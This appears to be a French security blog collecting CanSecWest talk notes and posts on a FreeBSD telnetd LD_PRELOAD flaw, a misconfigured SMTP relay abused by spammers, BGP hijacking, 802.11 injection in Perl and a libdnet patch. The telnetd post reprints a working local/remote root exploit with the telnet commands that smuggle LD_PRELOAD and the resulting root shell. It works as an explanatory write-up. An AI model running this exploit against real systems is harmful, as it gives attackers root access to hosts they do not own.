Question clé : peut-on parler de design pour FTP dans un monde de software a cet époque ?

Puis, description sur la difficulté de faire fonctionner FTP au travers d'un firewall. Blabla sur l'introduction des firewalls. Le premier produit commercialisé en 1991 coutait $175,000. L'idée est que le design de FTP de l'époque coute des millions aujourd'hui, a cause de la difficulté de filtrage de ce protocole au niveau firewall. Puis une autre histoire : pour décharger le noyau, les Sockets BSD furent introduit. Le but était d'accepter un plus grand nombre de connections. Mais il fallait garder une table des sockets ouvertes, et cela n'a pas protégé contre le SYN flooding. En 1995, le protocole HTTP a été imaginé pour être stateless, aussi pour décharger le noyau. HTTP fonctionne en ouvrant de nombreuses connections TCP short-lived. Ce fut lent, et les codeurs de navigateurs Web décidèrent de faire ces connections en parallèle ...

Résultat : du surf plus rapide, mais plus de load sur le réseau et le serveur.

Aujourd'hui, on a amélioré le code gérant les short-lived connections pour résoudre ces problèmes. En 1997, le E-commerce. Problème avec HTTP, aucun état n'est maintenu, et c'est devenu nécessaire (gestion de l'authentification, garder la liste des courses ...). Ainsi des frameworks de développement furent introduit pour garder l'état des connexions via un session management. Tout cela, parce que HTTP a été designé pour être stateless. Quel coup pour tout ceci ? Sans compter les erreurs de codage menant à toutes les failles que l'on connait. Vient ensuite la gestion de la charge. Chaque load balancer doit garder l'état pour savoir où rediriger les requêtes et éviter de briser l'état de la session. Tout cela alors que TCP/IP sait déjà gérer l'état d'une session ... et en plus de ré-implémenter une gestion de session, nous avons de nouvelles classes de vulnérabilités (XSS, XSRF, ...).

Conclusion : un mauvais design coute extrêmement cher. D'où l'idée de développer le "design intelligent" mais par un visionnaire omniscient. Le soft est au coeur de tout, on doit faire mieux, être moins concernés par le "backward compatibility" et être plus au fait des conséquences d'une petite décision de design.

14:00 - 15:00 Under the Kimono of Office Security Engineering - Tom Gallagher & David Conger, Microsoft

Respectivement Senior Security Test leader et Software Design Engineer. Historique des menaces : macro virus principalement. Avant 2006, tèrs peu d'attaques sur le format des documents eux-même. Quand Microsoft a vu que les failles commençaient a être commercialisées, ils ont décidé d'investir pour éviter les failles dès le début. Nouvelles organisation : chaque produit à une liste de contacts sécurité. Chaque produit à une liste de feature owner.

1. Harden the attack surface : suivre le SDL, automatiser la revue de code, SafeInt?, suppression des vieux parseurs (exemple : 3 parseurs différents pour JPEG), fuzzing distribué (300+ formats de fichier à supporter, certains n'étant pas simples et nécessitant des fuzzers particuliers). Suivi d'une explication sur le fuzzing distribué, qui pourrait être utilisé pour les tests en général. L'idée est de centraliser la gestion du fuzzing : les tests, les résultats, les erreurs et les rapports. Le but est aussi de répartir la charge pour exploiter les machines non utilisées. Microsoft a developé un client de fuzzing distribué facile à utiliser par tous les dveloppeurs. Un serveur avec interface Web centralise le tout. Une fonction intéressante permet de re-tester contre les régressions, en prenant par exemple une call stack d'erreur en input. Également la possibilité de tester les même bugs sur différents produits. Pour chaque bug trouvé, toutes les infos sont disponibles (état des registres, call stack complète ...). En gros, ils ont fait un botnet sur leur réseau qui sert à faire du fuzzing. Ils ne se posent pas la question de l'exploitabilité d'un bug quand ils en trouvent un, ils le patch (au minimum, ca rendra le produit plus stable).

2. Reduce the attack surface : File Block (exemple: bloquer les formats non utilisés) et Gatekeeper (évaluation de la 'correctness' des fichiers à l'ouverture, avec mécanisme de mise à jour des informations de 'correctness'). Demo. En gros, ils ont mis un anti-virus dédié aux formats de fichier dans Office.

3. Mitigate the Exploits : Création d'un Office 'Protected Viewer' qui classe toutes les sources venant d'Internet comme untrusted. Architecture avec un processus Host et un processus Client. Utilise des composants de sandboxing (isolation des processus). Ceci est géré par wwlib.dll, qui lance une instance de winword.exe dans une sandbox.

4. Improve the User Experience : l'améliorer en rapport avec la confiance. A l'avenir, en prenant l'exemple de l'ouverture d'un attachement mail : Open > Gatekeeper Validation > Sanboxed Viewer > User Clicks enable > Document Opened. Ensuite, le user peut le sauvegarder, et le rouvrir sans ces checks. Option très intéressante pour regarder les "conneries" envoyées par les potes, les documents sont vus dans la Sandbox, et ne doivent pas pouvoir abimer le système (exemple pris tel quel par l'orateur).

Conclusion : Ils ont d'abord décris un processus de tests bien fait, pas forcément orienté uniquement sécurité. Ensuite, ils ont décrits les améliorations apportées à Office qui elles ont été pensées pour la sécurité.

15:00 - 15:30 Break

Quelqu'un s'est amusé à broadcaster le SSID "CanSecWest". C'était évidemment un faux.

15:30 - 16:30 Automated SQL Ownage Techniques - Fernando Federico Russ, Core

Description d'une méthode blackbox automatisée d'intrusion SQL. La vulnérabilité est exploitée de manière à éviter les "False Positives". Première étape de reconnaissance. Un web spider utilisant un MitM proxy. Reconstruction des QUERY_STRING et parfois du chemin de l'URL (cas mod_rewrite). Parcours aussi les champs HTML <form>. Fonctionne en mode fuzzing, et peut potentiellement abimer l'application. Détection des erreurs (HTTP error codes, error strings, redirections ...). Pour déterminer la présence d'une injection, une liste de test retournant true/false est jouée. Si true, alors on contre-test par une autre méthode pour confirmer. C'est une technologie de type système expert. Une autre fonction est de déterminer le type de la base de donnes (produit, version). La méthode retenue : du brute-force sur les fonctions possibles (HEX() pour DB2, HOST_NAME() pour SQL Server, VERSION() pour MySQL, ...). L'implémentation tourne autour d'une couche d'abstraction nommée "channel". Elle fournit une API (UNION, Scalar, Blind, ...).

ooo Le téléphone rouge sonne, Charlie Miller semble avoir exploité avec succès une faille dans l'iPhone. Il gagne un truc ^^ ooo

L'outil permet de savoir si la requête exploitée est de type SELECT. Il détecte la morphologie (nombre de colonnes, leur type, la visibilité dans le HTML, ...). Un exemple d'utilisation : remplacer la vrai requête par la notre (SELECT user,pass FROM credentials). Pour que cela marche, il faut détecter le nombre d'élément de la requête d'origine (ici 2), et leur type (ici string). Si c'est le cas, nous pouvons construire la requête de l'exemple. Si les types ne sont pas les mêmes, on peut utiliser des fonctions pour "caster" les valeurs. Pour extraire toutes ces informations, une requête SQL CASE est utilisée (CASE WHEN ... THEN ... ELSE). Mais cela permet uniquement d'extraire bit par bit (un bit étant true/false).

ooo Le téléphone rouge sonne de nouveau, une nouvelle faille a été trouvée (IE? 64-bit). ooo

16:30 - 17:30 Can you still trust your network card? - Yves-Alexis Perez & Loïc Duflot

Yves-Alexis et Loïc travaillent pour l'ANSSI (Agence Nationale de SSI). Tout type de carte réseau. Leur hardware est complexe (plusieurs processeurs, différents types de mémoire, ...). Leur firmware est complexe (gestion de la segmentation TCP en offloading, remote management, ...). Ça n'a rien a voir avec les bugs drivers ou les vulnérabilités de l'OS. Description de l'architecture. PHY (send/recv sur le réseau), DMA-engine (send/recv sur le bus interne), negociation and link control (full-duplex, ...). Explication pour la carte Broadcom intégrée sur certains NIC. La carte possède un processeur MIPS, le firmware permet une customisation pour processer des paquets propriétaires par exemple. La mémoire interne de la carte est mappée sur la mémoire de la machine hôte. Protocole ASF. La carte réseau reçoit les évènements des autres devices de la machine via SMBus. Utilisation du protocole RMCP pour rebooter et autres actions ... ASF n'a aucune interface sécurité de prévu, et les fabriquant ne sont pas vraiment incités à en faire.

ooo Le téléphone rouge sonne : Firefox sous Windows 7. ooo

ASF 2.0 ajoute un nouveau protocole : RSP. Des extensions sécurité pour RMCP, comme l'authentification et le contrôle d'intégrité. Mais pas de chiffrement. RMCP est en écoute sur 623/UDP. La version secure sur 664/UDP. Broadcom fournit un outil de configuration ASF. Ces paquets UDP ne sont jamais vu par l'OS, puisque interceptés par la carte réseau avant.

Vulnérabilité potentielle sur le protocole d'authentification (réduction de l'entropie). Problème d'implémentation sur le username (CVE-2010-0104), limité à 16 caractères sans null byte avec 1 byte pour spécifier sa longueur. Nécessité de déboguer la carte réseau par un débogueur de NIC (accès aux registres du processeur MIPS). Ils ont développé un débogueur NIC maison. Ils ont ensuite pu écrire un exploit pour la faille trouvée dans la gestion du champ username. Comme il n'y a que 255 octets (moins le padding) pour placer le shellcode de l'exploit, ils utilisent l'accès aux network buffers pour placer leur shellcode. En effet, le NIC est le mieux placé pour accéder aux network buffers. NIC utilise le DMA engine ; il peut donc lire et écrire la mémoire de la machine hôte. Un paquet réseau exploitant une faille peut donc être utilisé pour écrire des données dans la mémoire de la machine hôte sans contrôler son OS.

Suivi d'une démo sur l'amélioration de leur exploit : lancement des paquets RMCP exploitant la faille. Puis d'un message ICMP magique. Enfin, un rootshell en écoute sur le port 2 est activé. De plus, faire un ps sur la machine victime montre juste un shell, et un khelper (donc, attaque assez stealth).

Note : Le débogueur accède aux registres de la NIC via le driver local qui lui, à accès aux registres du processeur de la carte NIC via un mapping mémoire. Pas besoin de JTAG et compagnie.

Conclusion : Ce n'est pas encore le moment de paniquer. Peu de cartes supportent ASF, et encore moins l'ont activé par défaut.

Wohaaa, un remote root old school :)

GR — Wed, 10 Jun 2009 21:49:00 +0200

Le 16 février 2009, une vulnérabilité old school est tombée sur telnetd de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en remote. Je vous propose d'étudier la faisabilité de l'idée.

Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un 7.1-RELEASE qui traine dans une VM. On active tout d'abord le telnetd dans /etc/inetd.conf, et on démarre inetd. Mais qui ose encore activer telnetd, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole clear-text ? Ben y'a quand même des gens (hint : scannez Internet).

Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' exploit est on ne peut plus trivial :

// FreeBSD telnetd local/remote privilege escalation/code execution
// remote root only when accessible ftp or similar available
// tested on FreeBSD 7.0-RELEASE
// by Kingcope/2009

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
   FILE *f;
   setenv("LD_PRELOAD", "", 1);
   system("echo GomoR was here;/bin/sh");
}

Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction _init() est une fonction appelée par tous les binaires (au moins ceux au format ELF). Pour être exact, la fonction _init() est intégré dans la section .init du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande objdump attestant que le binaire telnetd possède une section .init :

% objdump -h /usr/libexec/telnetd |grep init
  9 .init         00000011  08049cf0  08049cf0  00001cf0  2**2

Dans notre cas, la nouvelle fonction _init() va exécuter un shell. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement LD_PRELOAD. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour "écraser" une fonction interne de ce programme. Notre exploit va ainsi remplacer la fonction _init() du binaire telnetd par la sienne, qui exécute un shell. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire "victime" soit compilé en dynamique :

% file /usr/libexec/telnetd        
/usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped

Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que telnetd ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le shell appelant, soit par le protocole telnet, nous y reviendrons). Les failles LD_PRELOAD, ça, c'est du old school.

Passons à la pratique, l'exploitation à proprement parlée. silenoz est l'attaquant, legion la victime :

silenoz ~
% telnet                                                        
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

Connection closed by foreign host.

Exploit: FAIL. Pourquoi ça ? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur silenoz), et non pas sur la machine legion. Uploadons la méchante bibliothèque sur la cible, et retentons :

silenoz ~
% telnet                          
telnet> auth disable SRA
telnet> environ define LD_PRELOAD /tmp/libno_ex.so.1.0
telnet> open legion
Trying 192.168.1.10...
Connected to legion.enslaved.lan.
Escape character is '^]'.

FreeBSD/i386 (legion.enslaved.lan) (ttypd)

GomoR was here
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# hostname
legion.enslaved.lan
#

Voilà qui est mieux :) Et voyons le contenu du packet du protocole telnet qui place la variable d'environnement :

0040        ff fa 20 00 33 38  34 30 30 2c 33 38 34 30     .. .38 400,3840
0050  30 ff f0 ff fa 27 00 03  4c 44 5f 50 52 45 4c 4f   0....'.. LD_PRELO
0060  41 44 01 2f 74 6d 70 2f  6c 69 62 6e 6f 5f 65 78   AD./tmp/ libno_ex
0070  2e 73 6f 2e 31 2e 30 00  55 53 45 52 01 67 6f 6d   .so.1.0. USER.gom
0080  6f 72 ff f0 ff fa 18 00  58 54 45 52 4d ff f0      or...... XTERM..

Une option du protocole telnet permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de X display ? Qui a encore dit terriblement dangereux ? M'enfin bon, ça existe.

Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD 7.0-RELEASE. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction _init()), cette faille n'est pas exploitable en remote. Donc, very unlikely. Sauf si, bien sûr, vous pouvez uploader un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.

[1] "Full-disclosure FreeBSD zeroday" - http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html

[2] "telnetd code execution vulnerability" - http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc

Les spammeurs savent utiliser AUTH LOGIN ... et ma configuration FAIL

GR — Thu, 26 Mar 2009 23:30:00 +0100

"Tiens, on dirait que j'ai de moins en moins d'emails ces temps-ci ....". C'est par cette triste pensée que débuta ma recherche de la cause du problème. En effet, je possède un serveur dédié comme nombre de passionnés. Et bien sûr, mon serveur dédié héberge de multiples domaines. Mais surtout, un serveur SMTP pour dans les ténèbres les lier. C'est de ce dernier et de sa configuration dont je vais parler aujourd'hui.

Donc, je ne reçois presque plus de mails. Première hypothèse, plus personne ne m'aime. Non, ça ne tiens pas, j'ai pas été plus méchant ces temps-ci que les temps précédents. Deuxième hypothèse, ma mail queue commence à saturer. Je me connecte en SSH, et là, c'est le drame. Le mailq me donne une liste qui défile pendant près d'une minute. Je traduis pour les incultes : ça veut dire beaucoup beaucoup de messages en attente de livraison.

Mais pourquoi donc que c'est comme ça ? En regardant rapidement, je vois que 80% des messages sont à destination de personnes ayant (ou pas) un mail @yahoo.com.tw. Avec un peu de chance, je n'ai qu'un spammeur qui a repéré une faiblesse chez moi.

Je tente un premier truc : bloquer les adresses IP sources qui me mettent ces messages @yahoo.com.tw dans ma queue (huhu). Mais comme prévu, la liste est longue; je ne retiens pas cette solution. Par contre, en attendant de trouver mieux, je bloque les messages sortant à destination des IP des MX de yahoo.com.tw afin de les décharger de ce load. Sympa knorr.

Deuxième truc : analyser les commandes SMTP. Je capture le trafic SMTP sur mon serveur pendant quelques minutes pour avoir de quoi jouer. Après analyse, voici les data qui me semblent intéressantes :

> EHLO msg-g09pmirpcam
< 250-ns22829.ovh.net
< 250-AUTH LOGIN CRAM-MD5 PLAIN
< 250-AUTH=LOGIN CRAM-MD5 PLAIN
< 250-PIPELINING
< 250 8BITMIME
> AUTH LOGIN
< 334 VXNlcm5hbWU6
> YWRtaW4=
< 334 UGFzc3dvcmQ6
> YWRtaW4=
< 235 ok, go ahead (#2.0.0)
> RSET
> MAIL FROM:<fkp@ns22829.ovh.net>
> RCPT TO:<oprah2073@yahoo.com.tw>
...
> DATA
< 250 flushed
< 250 ok
...
< 354 go ahead
> From: =?BIG5?B?uFW+8KRI?= <fkp@ns22829.ovh.net>
> To: "oprah2073" <oprah2073@yahoo.com.tw>
> Subject: =?BIG5?B?obShtKG0obSkQK3TpKOlsqnxsfOnQaq6pHWnQLROpWm8V6VbpqykSqq6pOiqa6G0?==?BIG5?B?obShtKG0obShtA==?=
> Date: Tue, 19 Jan 2038 11:14:07 +0800
...
< 250 ok 1237657002 qp 1924

Mais que vois-je ? mon serveur accepte les messages à destination d'un domaine que je n'héberge pas ? En l'occurrence, les messages à destination de yahoo.com.tw. Mais pourquoi tant de haine ? En regardant le début de la transaction, je note l'utilisation de AUTH LOGIN. En regardant encore mieux, non seulement la négociation n'échoue pas, mais en plus elle réussit !

Avant de vous traduire le dialogue, oui, pour vous, pauvres mécréants, un petit mot sur AUTH LOGIN. Mon serveur SMTP est (était) configuré pour utiliser la méthode SMTP AUTH LOGIN. Cette méthode permet aux seuls utilisateurs ayant un compte sur mon serveur (je simplifie) de s'authentifier en SMTP, et de se voir attribuer le droit de pouvoir utiliser mon serveur SMTP pour relayer tous leurs messages. Ai confiance en tes users :) L'intérêt est pour eux de ne pas avoir besoin d'utiliser le webmail de mon serveur pour expédier des messages provenant de leur nom de domaine. Mais leur client de messagerie se doit de supporter AUTH LOGIN. Revenons à notre traduction :

> AUTH LOGIN
# Can I haz authenticashun to spam teh interwebs ?
< 334 VXNlcm5hbWU6
# base64_decode => 'Username:'
> YWRtaW4=
# base64_decode => 'admin'
< 334 UGFzc3dvcmQ6
# base64_decode => 'Password:'
> YWRtaW4=
# base84_decode => 'admin'
< 235 ok, go ahead (#2.0.0)
# authentication: WIN

Caugh, caugh. Vous lisez bien, admin/admin et le spammeur est authentifié sur mon serveur. Je me bas presque tous les jours pour que les gens changent les mots de passe par défaut. C'est pas dur merde ! Bon, que celui qui n'a jamais fauté jette la première pêche.

A ma décharge, la faille de configuration de mon serveur était plus sévère. N'importe quel couple login/mot de passe était accepté, et permettait de s'authentifier.

Je recompile donc qmail en désactivant le support AUTH LOGIN, n'ayant pas d'utilisateur s'en servant. Si ils me le demandent, je regarderai de plus près comment configurer ça de manière secure. Je redémarre qmail. Je regarde ma mailq. Je capture du trafic. J'analyse le trafic ... nan, c'est bon :) c'est corrigé. Mais la chose amusante, c'est que le spammeur en question n'utilise plus la méthode AUTH LOGIN. Voyons le nouveau trafic :

< 220 ns22829.ovh.net ESMTP
> EHLO msg-g09pmirpcam
< 250-ns22829.ovh.net
< 250-PIPELINING
< 250 8BITMIME
< RSET
< 250 flushed
> MAIL FROM:<ins@ns22829.ovh.net>
> RCPT TO:<roety503@yahoo.com.tw>
...
< 250 ok
< 553 sorry, that domain isn't in my list of allowed rcpthosts (#5.7.1)
...

Voilà qui va beaucoup mieux. Mais vous avez remarqué ? le spammeur n'utilise plus la méthode AUTH LOGIN. Ce qui veut dire que son robot analyse la sortie de la commande EHLO, et si le serveur SMTP supporte AUTH LOGIN, il tente une authentification. Au moins avec admin/admin. Je ne vais pas analyser plus que ça, mais il est possible que le robot brute-force un minimum avec différents couples login/mot de passe. Intéressant spammeur, on se reverra peut-être. A+

La pub c'est bon. Gardons la 24/7.

GR — Sat, 20 Dec 2008 16:50:00 +0100

Un certain Agent Secret a fait de la pub pour un de mes programmes : SSL Capable NetCat. Je ne peux que l'en remercier ;) Et pour l'en remercier, je lui fait également de la pub, ça se passe comme ça dans le privé.

Par ici la bonne nourriture (au moins 5 fruits et légumes par jour).

EDIT : Pour ceux qui n'ont pas vu l'allusion, relisez en pensant "suppression de la pub sur les chaînes publiques entre 20h et 6h".

Programmez votre Window Manager en Perl. Oui, je suis fou.

GR — Sat, 20 Dec 2008 14:21:00 +0100

Cédant à la pression de sbz, je vais vous parler d'un Window Manager (WM) qu'il est bien. Je fais également fi de ma ligne éditoriale habituelle (on reste tout de même dans le registre de la folie), étant donné que cela n'a pas grand chose à voir avec le networking.

Ce WM n'est autre que wmii. Il est basé sur la bibliothèque libixp, qui elle-même est grandement inspirée de la bibliothèque Plan 9. Ce WM est "programmable" et "tiled".

Le "programmable" signifie qu'on personnalise le WM en écrivant des lignes de code, dans n'importe quel langage implémentant la bibliothèque libixp. Le "tiled" signifie simplement que chaque fenêtre ouverte prendra le maximum de place de la root Window de votre X display.

Ce WM était "programmable" dans presque tous les langages. Je dis bien presque, car seul un petit village gaulois résistait encore. Mais cette fois, il fut vaincu. Le village CPAN fut ainsi envahi par la libixp. J'ai écris le binding Perl pour la bibliothèque libixp afin de personnaliser mon WM du moment en écrivant des lignes de Perl. Je vous laisse admirer le travail.

Oui, je suis fou.

Man in the middle sur Internet, ça coûte cher ça ?

GR — Fri, 14 Nov 2008 18:48:00 +0100

Aujourd'hui, je vais vous parler de BGP (Border Gateway Protocol). Je sais, c'est old news, on en a parlé au DEFCON[1] cet été. Avant de me dire que vous en avez entendu parler ad noseum[2], lisez la suite. Dans ce billet, je vais d'abord citer les faits historiques (pour ceux qui dormaient sous un rocher depuis plusieurs mois), puis je vais chercher à savoir combien ça coûte de hijacker une route BGP.

Les faits. BGP est un protocole de routage inter-AS (Autonomous Systems). Un AS est généralement sous une unique autorité administrative. Les AS doivent dialoguer les uns avec les autres, et entretenir une certaine relation de confiance. Cette relation existe pour que l'échange de routes soit possible, afin que chaque sous-réseau composant Internet puisse être accessible depuis n'importe quel point d'Internet. BGP est donc le protocole permettant l'échange de ces routes entre deux AS. Ensuite, chaque AS "répercute" les routes échangées avec ses AS voisins, jusqu'à ce que tous les AS de la planète connaissent l'existence de ces routes.

Cet été, les chercheurs[3] Kapela et Pilosov ont montré que le détournement de routes via BGP était à la portée de n'importe qui. En effet, nul besoin d'un "exploit" de haut niveau, ni de grande compétence. Juste de posséder un AS. Le fait que les routes sont répercutées d'AS en AS est là la seule faille, si tant est que l'on puisse considérer qu'il y en ait une. Pour ceux qui sont durs de la comprenette, ça veut dire qu'on peut écouter le trafic de n'importe qui. Lisez : utilisez SSL/SSH/IPSec/whatever pour éviter que vos mots de passe transitent en clair sur Internet. Il est largement temps de supprimer tous ces vieux protocoles qui laissent passer des données confidentielles en clair sur Internet.

L'autorité de régulation des télécoms Pakistanaise[4] a voulu utiliser cette "feature" pour bloquer l'accès à YouTube dans son pays, à cause d'une vidéo "blasphématoire". Ils ont donc décidé d'annoncer la route menant à YouTube comme étant nulle dans leur AS. Dommage, les routes se sont propagées sur toute la planète, et plus personne ne pouvait accéder à YouTube.

L'autre conséquence possible, celle montrée par les chercheurs à DEFCON, permet un man in the middle à l'échelle planétaire. Tout simplement. Ils ont re-routés en live le trafic de DEFCON vers leur AS, ont pu sniffer à en provoquer une overdose, tout en re-routant le trafic de leur AS vers DEFCON. Ni vu, ni connu. Enfin presque. Certains penseront qu'un traceroute permettrait de révéler la supercherie, mais en modifiant le TTL des packets du traceroute, le nouveau hop redevient invisible. Et c'est surtout en cela que leur présentation était "nouvelle".

Ok. So now, est-ce que moi, citoyen lambda, je peux re-router le réseau de mon choix pour espionner le trafic à moindre coup ? La réponse est malheureusement oui. Je ne vais pas faire de pub, mais un grand hébergeur français loue des AS "full BGP" pour 100 € HT par mois. Évidemment, je n'ai pas envie de dépenser cette somme pour valider l'attaque, mais le cœur y est, je vous l'assure. Maintenant, pour louer un AS, il y a des contraintes administratives, et votre identité sera très probablement révélée à cet hébergeur. L'aspect anonymisation de l'attaque ne sera, bien sûr, pas abordé ici.

Ce billet ne serait pas complet si je n'abordais pas les solutions. La solution parfaite : S-BGP, tout le monde s'authentifie, et chaque AS est capable d'avoir une vraie confiance en ses voisins. Et les voisins de ses voisins aussi. Mais c'est pire que DNSSEC a déployer. Il ne reste plus que les solutions actuelles : le monitoring[5] de routes, pour détecter quand quelqu'un annonce "par mégarde" le préfixe d'un réseau qui n'est pas le sien. Ça me rappelle les logs des systèmes ou des IDS. C'est bien, mais il faut les lire.

[1] DEFCON 16 Media Archive - https://www.defcon.org/html/links/defcon-media-archives.html

[2] DEFCON 16 Press Release - https://www.defcon.org/html/links/dc_press/dc_press.html

[3] Présentation sous le titre "Stealing The Internet - A Routed, Wide-area, Man in the Middle Attack" - https://www.defcon.org/html/links/defcon-media-archives.html

[4] Pakistan lifts the ban on YouTube - http://news.bbc.co.uk/1/hi/technology/7262071.stm

[5] BGP monitoring and analyzer tool - http://bgpmon.net/

Voilà. Injection de packets 802.11 en Perl.

GR — Sun, 09 Nov 2008 12:44:00 +0100

Il existe depuis près de 2 ans un module Perl[1] pour expédier des packets 802.11 dans les airs. Malheureusement, ce module écrit à l'origine par David Leadbeater est maintenant obsolète par rapport à l'API actuelle de Lorcon[2].

Alors je contacte l'auteur du module, et lui demande si il souhaite garder l'ownership du module, lui disant que ça me plairait bien de reprendre le lead sur ce projet. En effet, j'avais déjà écrit la version 0.02 du module, et n'attendais plus que le feu vert. L'auteur accepte avec joie, n'ayant plus d'intérêt pour l'injection 802.11 pour le moment.

So far, so good, la version actualisée supportant plus de drivers Wi-Fi et fonctionnant avec la dernière version SVN (revision 163)[3] est maintenant dispo sur CPAN[4].

Maintenant un exemple, pour vous montrer a quel point c'est facile à utiliser :

use Net::Lorcon qw(:all);

# Injection pour ma carte Intel 3945. Son device est eth1, et le driver requit est iwlwifi
my $tx = Net::Lorcon->new("eth1", "iwlwifi");

$tx->open or die("Impossible d'ouvrir l'interface");
$tx->setfunctionalmode(1);

# Beacon vers le point d'accès ayant pour SSID "Net::Lorcon"
my $packet = "\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x02\x02\xe2\xc4\xef\x00\x02\x
02\xe2\xc4\xef\xd0\xfe\x37\xe0\xae\x0c\x00\x00\x00\x00\x64\x00\x21\x08\x00\x0b\x4e\x65\x
74\x3a\x3a\x4c\x6f\x72\x63\x6f\x6e\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24\x03\x01\x0d\x
05\x04\x00\x01\x00\x00\x2a\x01\x00\x32\x04\x30\x48\x60\x6c";

# Et voilà, un packet dans les airs.
$tx->txpacket($packet);

Bon. Reste plus qu'à ajouter le support injection Wi-Fi dans Net::Write[5].

[1] http://search.cpan.org/~dgl/Net-Lorcon-0.01/

[2] http://802.11ninja.net/lorcon

[3] "svn co http://802.11ninja.net/svn/lorcon/trunk/"

[4] http://search.cpan.org/~gomor/Net-Lorcon/

[5] http://search.cpan.org/~gomor/Net-Write/

UPDATE : mon module compile avec la version suivante du SVN de lorcon : svn co http://802.11ninja.net/svn/lorcon/branch/lorcon-old

Pour une version plus récente de lorcon, j'ai un peu de boulot ^^

libdnet, mon amie ... pose ce couteau

GR — Sun, 26 Oct 2008 13:04:00 +0100

En utilisant libdnet (version 1.11, la dernière) sous votre OS préféré (heu ... Linux ?), vous êtes probablement déjà tombé sur ce message :

% dnet intf show
lo: flags=0x3<UP,LOOPBACK> mtu 16436
	inet 127.0.0.1/8
	alias ::1
eth0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:a9:2c:5b:a3
dnet: intf_loop: Invalid argument

Cette situation ne doit pas être une fatalité. Alors ce dimanche, comme j'avais du temps à perdre, et surtout grâce au droit opposable au code incomplet et/ou vieillissant, j'ai pu chercher d'où venait le problème. Premier élément de réponse : la carte suivante devrait être la carte wireless de mon laptop, étant donné que c'est le cas avec ifconfig. En essayant sur une machine sans carte wireless, pas de problème ; toutes les interfaces sont affichées. Il y a de fortes chances que l'erreur soit provoquée lors de la lecture des informations de ma carte wireless.

Deuxième élément de réponse (je vous passe mes sessions de debug du source de libdnet), je finis par tomber la dessus, dans src/intf.c :

if (addr_ston(&ifr.ifr_addr, &entry->intf_link_addr) < 0)
        return (-1);

La fonction addr_ston() retourne -1 lorsqu'elle tombe sur une interface IEEE 802.11. Le problème est du au fait qu'une interface IEEE 802.11 n'est pas pareil qu'une interface ethernet (doh!), par exemple. En effet, la sa_family pour une interface 802.11 possède sa propre valeur (sous Linux, c'est la valeur 801, alors qu'ethernet possède la valeur 1). Reste plus qu'à patcher addr_ston() dans src/addr.c de la façon suivante :

  case AF_UNSPEC:
  case ARP_HRD_ETH:       /* XXX- Linux arp(7) */
+ /* Also defined in net/if_arp.h as ARPHRD_IEEE80211 */
+ case 801:
      a->addr_type = ADDR_TYPE_ETH;
      a->addr_bits = ETH_ADDR_BITS;
      memcpy(&a->addr_eth, sa->sa_data, ETH_ADDR_LEN);
      break;

On compile, on installe, et voilà :

% dnet intf show
lo: flags=0x3<UP,LOOPBACK> mtu 16436
	inet 127.0.0.1/8
	alias ::1
eth0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:a9:2c:5b:a3
wmaster0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:02:44:63:2b
eth1: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:13:02:44:63:2b
wifi0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	link 00:1e:2a:02:ea:de
ath0: flags=0x31<UP,BROADCAST,MULTICAST> mtu 1500
	inet 192.168.0.101/24
	link 00:1e:2a:02:ea:de
	alias fe80::21e:2aff:fe02:eade/64

Déni de service universel dans TCP

GR — Tue, 14 Oct 2008 23:36:00 +0200

Bon, difficile d'y échapper, surtout à quelques jours de la diffusion des détails. Ce billet fait suite à l'annonce vu sur le blog des chercheurs de chez Outpost24 relatant une nouvelle faille dans le design du protocole le plus utilisé dans l'Internet.

Cette faille, si l'on en croit le peu qui a pu filtrer, porte sur la gestion de la machine à état de TCP. En amenant cette machine dans un certain état, il serait possible de bloquer de l'allocation mémoire sur le système cible, finissant par saturer sa mémoire. Ou bien de saturer sa bande passante. Seulement 200 packets par secondes seraient même suffisant. Tous les systèmes d'exploitation seraient affectés. Well. Want to see that.

Du coup, je me suis (re)penché sur des techniques aussi vieilles que Naphta, en y apportant certaines modifications. Je ne vais pas faire un billet complet sur Naphta, mais en gros, Naphta amène la pile TCP/IP cible soit dans l'état ESTABLISHED, soit dans l'état FIN_WAIT_1 pour accomplir sa sombre tâche de destruction.

